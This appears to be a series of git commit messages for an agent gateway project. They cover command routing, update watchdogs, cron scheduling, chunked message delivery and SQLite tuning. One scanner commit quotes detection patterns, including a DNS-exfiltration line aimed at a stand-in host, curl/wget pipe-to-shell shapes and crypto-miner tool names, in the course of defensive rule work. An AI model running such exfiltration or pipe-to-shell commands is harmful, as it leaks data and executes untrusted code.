/fast now asks the same question the next turn asks: resolve_fast_mode_overrides
over the route _resolve_session_agent_runtime returns (session /model override,
channel override, persisted override after a restart), with provider and
base_url. Both the Priority gate and the Ultrafast gate added in #128307 read
that one route, so GPT-6 Astra picked with session /model on openai-codex gets
/fast and /fast ultrafast, and a fast-capable default no longer admits a
session route whose requests never carry the tier (gpt-5.4 via OpenRouter).
The tier override is also stored under the topic-recovered session key, the
one the next turn reads (#30479 class; /model and /reasoning already do this),
so on Telegram DM topics a session /fast is no longer dropped.
Route resolution runs off the event loop (it can refresh an OAuth token, as
the turn does); with no usable route at all the configured model is judged
alone, as before.
Tests: the four salvaged cases collapse into two invariants on the real
fast-mode tables (both gate directions + the turn's request_overrides, and
the recovered-topic key); red on origin/main.
Route /fast eligibility through _resolve_session_agent_runtime (the same
resolver normal turns use) instead of the global _resolve_gateway_model,
so a session-scoped /model override or channel override keeps /fast in
sync with the model the next agent turn actually routes to. Normalize the
command source exactly like /model does so the override is read under the
key it was stored, and let the resolver rehydrate persisted overrides a
gateway restart cleared from memory.
Rebased onto current main (was DIRTY): the lazy import in
_handle_fast_command now pulls only _load_gateway_config; the sibling
picker tests in test_choice_picker.py::TestFastChoicePicker are updated to
stub _resolve_runtime_agent_kwargs (matching test_fast_command.py) so the
no-override path doesn't hit real provider resolution in CI.
Tests: tests/gateway/test_fast_command.py (10) +
tests/gateway/test_choice_picker.py::TestFastChoicePicker (4) pass.
(cherry picked from commit 9885267a6f6e124b470fa2f597ef9c3623063549)
The 124 remap was vetoed only by "Update not complete", but the restart
and verify phase prints other failure lines after "Update complete!":
"Update incomplete — …", "✗ <unit> failed to come back/stay running
after restart", "verification incomplete". Any of them now keeps the
watchdog kill a failure. Only text after the last banner is inspected,
and ✗ is matched as \u2717 because Windows PowerShell reads the BOM-less
script as ANSI.
Reported by @unsupportedpastels in review.
The completed-tree shortcut treated "stamp names HEAD" as "nothing is
owed". But `hermes update` at an unchanged commit ("Already up to date")
re-arms the completion marker before running the tail; when that tail
fails or is killed, the old stamp still names HEAD and the next launch
silently cleared the marker instead of retrying it.
The stamp only proves the tail that wrote it. A marker is now discharged
only when it predates the stamp (the #123314 leftover from a previous
install); one armed after it is retried as before. The shortcut also
requires a clean tree on both sides: a stamp recorded dirty, or local
edits since, are no proof that the built products match the checkout.
Reported by @unsupportedpastels in review.
The Windows hand-off's idle watchdog is the only producer of exit 124 on
main (posix.sh has no watchdog and `hermes update` never exits 124), so
the posix remap was dead and goes. The retry-state helper and its
self-test arm collapse into one Resolve-HermesUpdateOutcome check, now
proved end to end through the real hand-off instead: a fake update that
prints its banner and parks silently past a 3 s ceiling surfaces as a
verified success with the gateway fleet restored.
The remap also refuses a run whose output already carries the
"Update not complete" verdict, which supersedes the banner.
Boot-time adoption of an unstamped blessed checkout publishes the same
identity a finished install/update does (commit == HEAD) but builds
nothing. Read as completion evidence, the launch that adopted (and every
later one) cleared a pending source-completion marker whose tail never
ran, and nothing on disk recorded the debt afterwards.
Adoption now stamps `adoptedAt`; the completed-tree check ignores such
stamps, and the next real completion rewrites the stamp without it. The
check also drops its blanket try/except: both reads it wraps never raise.
Port of #96340 (Finn763) onto the current legacy-scoped retry gates,
narrowed to the watchdog sentinel only: exit 124 + the "Update complete!"
marker maps to success so the hand-off verifies and relaunches the new
build instead of re-running the completed update (the 70+ minute popup
retry storm). A plain exit 1 after the marker is the stale-gateway
verdict (hermes_cli/update_receipt.py) and must keep failing.
As first written this also added a posix.sh gate and a retry-state
helper with a -SelfTestRetryState arm; the next commit drops the posix
gate (nothing there exits 124) and replaces the helper and self-test
with one end-to-end test through the real hand-off.
Co-authored-by: Finn763 <165816600+Finn763@users.noreply.github.com>
A fresh install records its tree in install-stamp.json; a first launch under a preserved or pristine home then re-entered the completion tail against the same SHA (stale pending marker, or no per-home facts). When the stamp commit is HEAD the products were already built for this tree: provision a stale venv without arming, discharge leftover markers, and run the agent. Fixes#123314.
`hermes status --full` printed two lists for the same platforms: a legacy
table judged by one env var, then "(plugin)" rows judged by the gateway.
Slack configured in config.yaml showed "✗ not configured" and
"✓ configured (plugin)" in the same section, and the legacy verdict could
disagree with the summary's Platforms line.
Render one list from the gateway config instead: registry entries bring
their labels, a small label table covers built-in adapters without one,
"configured" is get_connected_platforms() (the summary's verdict), and the
home channel comes from the loaded config, which also fixes the legacy
table reading QQ_HOME_CHANNEL where the gateway reads QQBOT_HOME_CHANNEL.
Dedupe idea from #54131; root-cause analysis of the check_fn verdict from
#96200.
Co-authored-by: igparkernz-coder <297591502+igparkernz-coder@users.noreply.github.com>
Co-authored-by: liuhao1024 <sunsky.lau@gmail.com>
Seven more mechanisms that scored clean catalog pins as caution/dangerous,
each fixed at the pattern or context level (no path exclusions):
- crypto_mining: the bare coin name `monero` as a keyword in a connector
index / search shortlist (`"monero gateway"`, `... monero multimodal ...`)
lands at medium when nothing on the line names miner software, a pool,
an algorithm or the act of mining. xmrig / stratum / coinhive /
cryptonight, or `monero` beside a pool or "miner", keep full severity.
- dns_exfil: `host` is an English noun and an HTTP header. It now needs
the exfil shape itself (an interpolation inside a domain name,
`host $(whoami).evil.com`) or a shell command position (`; host $x`,
`do host $c`). "the connected host (${id})", a JS `host ${status}:`
message and nginx `Host $host;` no longer match. dig/nslookup unchanged.
- echo_pipe_exec / curl_pipe_shell / wget_pipe_shell: the shared shell
alternation is word-bounded, so `| sha256sum -c` is not `| sh`.
- exec_string: an upper-case SQL statement (`db.exec('PRAGMA ...')`,
BEGIN/COMMIT/ROLLBACK/CREATE/INSERT ...) is a database call.
- sudo_usage (and any other high, non-agent-facing finding) mid-sentence in
a `"key": "string"` pair or a bare string list element of a .json data
file (tips / translation table) takes the README prose cap. Command keys,
a string that starts with the command (`"sudo",` in an args array),
package.json and critical findings keep severity.
- test fixtures: in Python/JS/TS a `$(...)` or backtick INSIDE a string
literal is data, so a hostile-input table no longer counts as executing.
`os.system(...)`/`exec(...)` outside the literal still do; shell files
keep the raw line.
- docs self-uninstall: `rm -rf ~/.hermes/plugins/<own name>` (and
`${HOME}`) gets the same note as the `$HOME` form; a wider target or the
same line in a .sh keeps severity.
curl_pipe_shell in a Python hint string is deliberately unchanged: the
same literal assigned to a variable is the attack shape, and it is only
high (caution) today.
SCANNER_VERSION -> skills-guard-v8 (regex changes in the shared table).
The catalog blast-radius sweep showed `hex_encoded_string` stepping down on
`[Frame(b"\x01\x00" * 200), ...]` — a Python LIST of byte strings that the
bracket lexer read as a regex class. Exclude quote characters from the class
body; the real control-char / ANSI classes in the sweep are unaffected.
Four false-positive classes surfaced by today's catalog intake, each demoted only
where the text is inert and proven to keep its severity at a command position:
- format_filesystem: the filesystem-format binary as an alternation member of a
guard plugin's OWN denylist regex literal (perseus-vault authority.py:44) was an
un-overridable `dangerous`. Joins the existing alternation-token contract
-> high (caution). The same word at a command position (subprocess.run /
os.system / mid-pipeline command string) stays critical.
- env_exfil_curl/wget: a README health check `curl -H "Bearer $KEY" \` whose
loopback URL is on the continuation line (memex8 README.md:166). The pattern
already exempts a same-line loopback; re-run it over the logical line and
require every http(s) host be loopback -> low. A routable host anywhere on the
logical line keeps high (README) / critical (after-install.md).
- deception_hide: a skill tone rule quoting the phrase not to say
(`Do not tell the user to "be careful with terminal."`, hermes-tenuo
SKILL.md:24) no longer matches; unquoted `to ...`, `about`, `that`, `what`
concealment instructions still fire at high.
- hex_encoded_string: every `\xHH` inside a `[...]` regex character class
(`/[\x00-\x1F\x7F]/`, ANSI filters) -> low; a payload outside a class, or
beside a class, keeps medium.
PLUGIN_SCANNER_VERSION -> plugin-guard-v9 so cached verdicts re-scan.
A/B vs origin/main: in-tree sweep 320 entries, 0 worse (3 hex findings
medium->low on real control-char regexes); attack probes identical.
`hermes status` now prints the one-screen summary (model, provider, connected
providers, gateway, platforms, jobs); `--full` (alias `--all`, which never
changed the output) and `--deep` print every section as before. Hermes
Console keeps the full report since it accepts no flags.
The summary reads the canonical sources instead of re-deriving them:
- Providers: list_authenticated_providers, the list the /model picker offers
(cached catalogs only, no custom-endpoint probes), so it honours
model_catalog.excluded_providers, pools and plugin providers for free.
- Platforms: GatewayConfig.get_connected_platforms, the gateway's own
decision about which adapters to start (it also rejects placeholder tokens).
The full Messaging Platforms section now uses the same verdict for plugin
rows. It called check_fn, a passive "SDK importable" probe that is True for
every bundled plugin, so a fresh install listed Discord, Slack, Matrix,
Teams, WhatsApp and ~9 more as "configured" with no credentials.
Compact, secret-free summary of the component status: model, provider,
connected providers, gateway, messaging platforms, and scheduled jobs.
The provider list is registry-driven (PROVIDER_REGISTRY API-key rows,
refresh-free OAuth getters, plugin-mirrored OAuth providers, the
OpenRouter rung, configured custom endpoints), so new providers and
endpoints surface without touching the short renderer. Plugin-platform
configuredness prefers the is_connected hook over the deps probe (same
rule as hermes setup and the #102183 fix); every lookup is fail-soft,
so a failing probe degrades one row, never the command.
Full `hermes status` output and the console_engine call shape are
unchanged. Docs: website/docs/reference/cli-commands.md. Tests: 8 new
cases in tests/hermes_cli/test_status.py (25/25 pass via run_tests.sh).
Submitters only saw a stale 5-point summary on the catalog page (it even listed
a 'Released' requirement nothing enforces), while reviewers applied ten README
rules plus criteria written nowhere public (credentials, approvals, disclosure,
compatibility metadata, forks of bundled plugins).
- plugin-catalog/README.md: rules 11-15 write down those review criteria; the
rule list sits between admission-rules markers.
- New developer-guide page 'Submitting to the plugin catalog': before you
submit, the PR flow, the full rule block (verbatim mirror), pin updates,
delisting vs removal, asking for a hook.
- The /plugins 'Submit' links and the user-guide section point at it.
- tests/website/test_catalog_rules_mirror.py fails when the two rule blocks
differ; classify_changes makes a README-only edit run it.
- AGENTS.md, plugins/AGENTS.md and CONTRIBUTING.md reference both files.
A scoped or wedged daily-brief in profile A must not hide a degraded or
live daily-brief in profile B. Split the scheduler's in-flight keys before
counting and add awaitable cron runs independently of non-cron work.
Carry the per-run restart_safe flag to the observer and preserve the
existing bare-ID accessors for unrelated callers.
Thanks to @ehz0ah for diagnosing the multiplexed collision and proposing
the profile-keyed accounting and mixed scoped/degraded regression case.
Preserve @Superfly73's source commit separately; map their verified bare
noreply email for the contributor CI gate.
Refs #130987
Co-authored-by: z1gon <130889443+ehz0ah@users.noreply.github.com>
A cron run handed to an external worker in its own transient systemd scope
outlives the gateway: the shutdown drain deliberately leaves it unmarked
(``mark_running_jobs_interrupted``) and its final send rides the durable
delivery queue, drained by whichever gateway is live next. The after-turn
restart wait still counted it as active work, so ``/restart``, SIGUSR1 and
``hermes update`` held the gateway in ``draining`` — refusing every new turn —
for up to ``agent.restart_after_turn_timeout`` (30 min by default) while the
worker kept running regardless. Observed in the field: a 100-minute job turned
a restart into a ~30-minute lockout.
- ``cron.scheduler`` records whether an accepted handoff got its own scope
(``dispatch.mode == "scoped"``) and exposes
``get_restart_safe_external_job_ids()``; runs already reported as wedged are
excluded there too, because the gateway subtracts both counts and a run in
both sets would be subtracted twice.
- ``_awaitable_work_count()`` subtracts that count as a second, disjoint
exclusion; ``_describe_active_work()`` marks the unit (``restart_safe``).
- A degraded worker (external, but no reachable user bus, so it shares the
gateway cgroup) is NOT listed and is still awaited — the restart would kill
it mid-run.
- The wait and observation log lines now name both exclusion classes instead of
claiming everything still listed will be interrupted.
Tests: tests/gateway/test_restart_drain.py (skip + control),
tests/cron/test_restart_safe_worker.py (registry contract).
Docs: updating.md restart section, cli-config.yaml.example.
(cherry picked from commit 6a2f0b77cf07a60510430fc4ef8b75539ee422fb)
The router turned every failed SendResult into a bare RuntimeError, which
dropped raw_response, and the cron live lane falls back to the standalone
sender on any error. A split send that failed after delivering its head
(Telegram, Discord, and now SMS/WeCom) was therefore delivered again from
the start by the standalone lane.
The router raises PartialDeliveryError for a partial_overflow result; the
live lane records "delivered N of M chunks, then failed" on the run and
does not fall back.
_live_send_text used future.cancel() to tell a send that never started
(wedged loop: fall back to standalone) from one in flight (assume delivered:
a resend would duplicate). A run_coroutine_threadsafe future stays PENDING
until the coroutine finishes, so cancel() returned True mid-send: the
in-flight send was cancelled part-way and the standalone lane then sent the
whole payload again. Paced multi-chunk sends (WeCom's 30 msgs/min bucket)
outlast 60s routinely; a 55-chunk cron payload arrived as 25 chunks and was
reported failed.
The send now records its own start under a lock; on timeout it is
abandoned (and the standalone fallback runs) only when it never began.
The existing in-flight test faked the state with a mocked cancel()
returning False, the exact assumption that does not hold; it is rewritten
against a real event loop, with the never-started (wedged loop) case it
never covered alongside.
SMS and both WeCom adapters now split long replies, and their chunk loops
returned a plain failure when a later chunk was rejected. The base send
path cannot tell that from a total failure, so _send_with_retry retried the
whole payload or sent the 3500-char plain-text fallback and reported
success: the recipient got the head twice and never got the tail.
The three loops now share gateway.platforms.helpers.send_chunks(), which
marks a failure after delivered chunks with the existing partial_overflow
contract (the one Telegram and Discord set and _is_partial_delivery reads).
The retry and plain-text fallback already refuse to re-send a partial
delivery, so the caller gets an honest failure and nothing is duplicated.
Resuming the undelivered tail is #124295's scope.
Both WeCom adapters dropped everything past the platform limit with no
error: the AI Bot adapter sliced markdown content at 4000 chars, and the
callback (self-built app) adapter sliced text at 2048 *characters* while
message/send keeps only the first 2048 *bytes* (so CJK replies lost
everything past about 680 characters). Cron output was additionally cut
to 4000 chars with a gateway-host file pointer.
AI Bot: send() queues one markdown message per MAX_MESSAGE_LENGTH chunk,
so every chunk draws its own token from the 30 msgs/min per-chat bucket
(errcode 846607), and each goes out on the cached reply req_id like any
other send in that chat (group chats cannot send proactively). Callback: chunk by UTF-8 bytes at 2048.
Both declare splits_long_messages so cron delivery hands over the full
payload. Each stops at the first failed chunk and returns its error.
Fixes#19689Fixes#107443
Co-authored-by: luyao618 <364939526@qq.com>
Co-authored-by: briandevans <252620095+briandevans@users.noreply.github.com>
Co-authored-by: LeonSGP43 <cine.dreamer.one@gmail.com>
Co-authored-by: Andy <sz.private@gmail.com>
The delivery router truncated cron output above 4000 chars and appended
a footer pointing at a file on the gateway host, which an email
recipient cannot open. One email carries the whole body, so declare
splits_long_messages and let the router hand over the full payload.
Fixes#61990
Co-authored-by: Petra <petra.kersten@agentmail.to>
Co-authored-by: liuhao1024 <sunsky.lau@gmail.com>
send() called truncate_message() without a limit, so it chunked at the
4096 default; Twilio rejects any Body over 1600 characters (code 21617),
so every reply longer than 1600 chars failed outright. Oversized cron
output was first cut to 4000 chars by the delivery router (SMS did not
declare splits_long_messages) and then failed the same way.
Chunk at MAX_MESSAGE_LENGTH (1600) and declare splits_long_messages so
the router hands send() the full payload.
Fixes#62751
Co-authored-by: Philip D'Souza <9472774+PhilipAD@users.noreply.github.com>
Co-authored-by: JackJin <1037461232@qq.com>
Co-authored-by: euisuh <euisuh.jeong@gmail.com>
Co-authored-by: Froraut <79215537+Froraut@users.noreply.github.com>
The inactivity watchdog polls every 5s, so the same stall reports
"idle for 601s" on one run and "idle for 604s" on the next. The incident
signature hashed that raw number, so each run minted a new incident: an
acked timeout pinged again and the repeat-alert cooldown never applied.
Mask duration tokens before hashing; status codes and other numbers still
split incidents.
Fixes#129587
The source update rebuilt every frontend unconditionally, although each
compiler writes a receipt that the launch path already trusts to answer
"would a rebuild produce these bytes?". Reuse it in the update too, as the
pre-PM updater did for the web UI (_web_ui_build_needed). Desktop keeps its
unconditional build: the baked install stamp carries the commit, so every
update that moves HEAD changes a desktop input anyway.
Credit: #125749 by @Froraut proposed the same receipt-gated TUI/web skip first.
Co-authored-by: Froraut <79215537+Froraut@users.noreply.github.com>
Discord approval views and the VoiceReceiver hold a reference to the
adapter's _allowed_user_ids set. Rebinding the attribute to a new set left
those holders authorizing a revoked user until restart; mutate the set in
place instead. list/str/None snapshots keep the rebinding behaviour.
The revoke test now pins that a held reference loses the revoked user,
and drops a tautological id(adapter) assertion plus an unused fixture.
The binding regression lived in a new file that re-implemented the
signing/request helpers already in test_whatsapp_cloud.py and asserted
incidental state (a second profile's signature check, _accepted_count).
One parametrized test on the existing helpers covers the drop cases plus
the matching and WABA-unset accept cases, which also replaces the
init-snapshot half of the old reconfiguration test.
The dashboard create test now disables the route via the enabled endpoint and
re-POSTs it; the stored record must stay disabled (the rule moved into
_replace_subscription, and the pre-salvage ops.py dropped it).
The profile-rebind test drops its reader-thread scaffolding, which could not fail
under the lock-free atomic-rename store. Instead the rebind is a same-size rewrite
with the original mtime restored, so only the new inode tells the gateway the file
changed; a stat key without st_ino keeps serving the revoked secret.
The sha256 revision returned by _load_subscriptions_unlocked was never compared by
anyone, so _load_subscriptions_snapshot was dead weight; the loader now returns the
dict and folds its duplicate excepts. _load_subscriptions reads without the store
lock: writers publish by atomic rename, so readers always see one whole snapshot,
and read-only homes (where the lock file cannot be created) keep listing routes.
Nothing re-enters the lock any more, so the thread lock is a plain Lock.
The "keep an explicit enabled: False" rule was copied into both the CLI subscribe
path and the dashboard create path; it now lives in _replace_subscription after the
CAS check (where the current record is authoritative) and the published route is
returned, so the dashboard summary reflects what was actually stored.
The rebind secret selection collapses to one expression (same result for all four
profile-changed x --secret combinations), and the test-only _save_subscriptions is
removed; tests seed through _mutate_subscriptions.
The gateway's dynamic-route reload now records the stat key for a malformed or
non-dict file too, so a bad version is parsed once rather than on every POST while
the last good routes stay live. Docs describe the reload as stat-gated and lock-free.
The salvaged transaction commit made the gateway's _reload_dynamic_routes
take the CLI writer lock (thread RLock + blocking fcntl flock) and read +
sha256 the whole subscriptions file on every POST, before auth, on the
event loop. A CLI/dashboard writer holding the lock stalls the gateway and
unauthenticated callers drive lock acquisitions.
Writers publish via atomic rename, so a lock-free read is already
coherent, and the rename gives the file a new inode. Gate the reload on
(st_mtime_ns, st_size, st_ino) instead: one stat per request, and a
restored/coarse mtime still triggers a reload. An unreadable or non-dict
file keeps the last good routes (the snapshot helper returned an empty
store on read errors, wiping live routes); only a missing file clears
them. Fix the stale "mtime-gated" call-site comment.
Co-authored-by: FroRaut <79215537+Froraut@users.noreply.github.com>
Review of the previous commit found a fourth copy of the preview
subquery, in list_recent_sessions_bounded (session_search's recent
browse, correlated on tip.id). It still had a bare FROM messages m, so it
kept the stale-stats plan. The three copies the previous commit patched
differed from _PREVIEW_RAW_SUBQUERY_SQL only in whitespace, and no test
pins their SQL text.
_sql_preview_raw(session_id_expr) now builds the column for the sidebar,
the bounded recent browse, the telegram unlinked listing and the export
select, so the INDEXED BY lives in one place. The regression test now
covers the sidebar, session_search and telegram readers. It asserts that
both the preview (m) and last-active (_act_m) searches run, and that each
one goes only through idx_messages_session. All three cases fail on
origin/main and when the hint is dropped from the helper.
The per-session last-active MAX(timestamp) and preview subqueries now name
idx_messages_session (session_id, timestamp) with INDEXED BY.
A sqlite_stat1 written before idx_messages_session_id existed (added by
#76877, 8f91e249e4, 2026-08-02) has no row for that index, so the planner
guesses it is selective and routes both subqueries through it: every
listed session then reads all of its message rows. #122283 (f27bde1fdd)
already moved the last-active subquery back onto the covering index by
adding a timestamp range, but the preview subquery still flips.
Measured on a generated 515-session / 125k-message state.db, one desktop
list_sessions_rich call (order_by_last_active, include_pinned, limit 40),
SQLite page-cache misses via .stats, median of 3:
stale stats: pre-#122283 1033 MB, main 521 MB, this change 5.6 MB
no stats: 5.6 MB on all three (no change)
idx_messages_session has been in SCHEMA_SQL since the first schema and is
never dropped, so the hint cannot name a missing index.
Gate follow-ups for the includeIf walk: git prints repo-local origins relative to the
worktree top level, so discovery from a subdirectory looked for the target in the wrong
place and skipped it (fail open). Resolve relative origins against `rev-parse
--show-toplevel` (one extra spawn, only when an include is present). Read each target once,
refuse a non-regular target (FIFO/device/directory) and more than 16 targets, so a repo
cannot make every hardened call spawn without bound. One discovery-regexp constant and a
single include-key matcher.
Filter discovery refused every repository with a repo-local includeIf, so `hermes -w`,
kanban/subagent worktrees and the recovery hint stopped working inside actions/checkout
checkouts (which write an includeIf credential include) and similar setups. Read each
includeIf target directly, whatever its condition, and neutralize the filter commands it
defines alongside the ones found through --includes. One probe now lists both the filter
keys and the include paths (with --show-origin, so relative paths resolve against the file
that names them). A missing target is skipped as git skips it; an include nested inside an
include target, an unreadable target or a non-file origin still refuses.
e33181e883 stopped caching every None from _cron_interval_minutes, so a
malformed cron expression (croniter loaded, expression invalid) was
re-parsed on every in-flight-guard check. Track whether croniter actually
loaded and cache unless the None came from a failed import: a bad-expr
None is stable, an ImportError None is transient. The kept #127182
regression test now asserts the import-failure None stays uncached.
Also drop the redundant recovery_kind operand in
_recover_missing_next_run (_is_recoverable_error_job already requires a
cron/interval schedule) and tighten two comments.
Not latching a failed croniter import fixed#127182, but with nothing
cached every _ensure_croniter() call re-ran the full finder walk when the
package is genuinely absent - several times per cron job on every
due-scan tick, under _jobs_lock. Remember a monotonic retry-at 60s out
instead: a transient failure still recovers within one tick, explicit
True/False overrides still win, and a missing package costs one probe a
minute.
Also tidy the error->scheduled re-arm: reuse _is_recoverable_error_job()
for the condition and drop the redundant next_run_at assignment that
job.update(fields) already performs; fix the test comment (the patched
import raises for as long as it is patched in, not once).
Once croniter imports again, due-scan recovery re-arms a recurring job's
missing next_run_at, but the job kept state=error until it next fired, so
`hermes cron list` kept reporting a healthy, due job as broken. Flip it
back to scheduled in the same persist, and correct the docstring: recurring
jobs now also land here after a transient croniter ImportError (#127182),
not only after a hand-edited jobs.json.
Co-authored-by: itsflownium <157689911+itsflownium@users.noreply.github.com>
A single transient croniter ImportError (wrong interpreter, shadowed path)
was cached as HAS_CRONITER=False for the whole process lifetime. While
latched, compute_next_run() returns None for every recurring job, so jobs
stay enabled with next_run_at=None and state=error — never rescheduled
until a gateway restart, despite the due-scan recovery path existing
exactly for that case (#127182).
Keep HAS_CRONITER None on failure so the next call re-probes; an explicit
monkeypatched value still wins. Also log sys.executable with the warning so
a scheduler running under the wrong interpreter is diagnosable from
errors.log.
Fixes#127182
(cherry picked from commit bb48a7b48fb28d45d63c47b59a1cf0c5049efb87)
The recovery-hint test used the hermes checkout as the owner cwd. CI's
actions/checkout writes a repo-local includeIf credential include, and
noninteractive_repo_git_env now refuses any includeIf, so the hint was
(correctly) withheld and the test read a missing key.
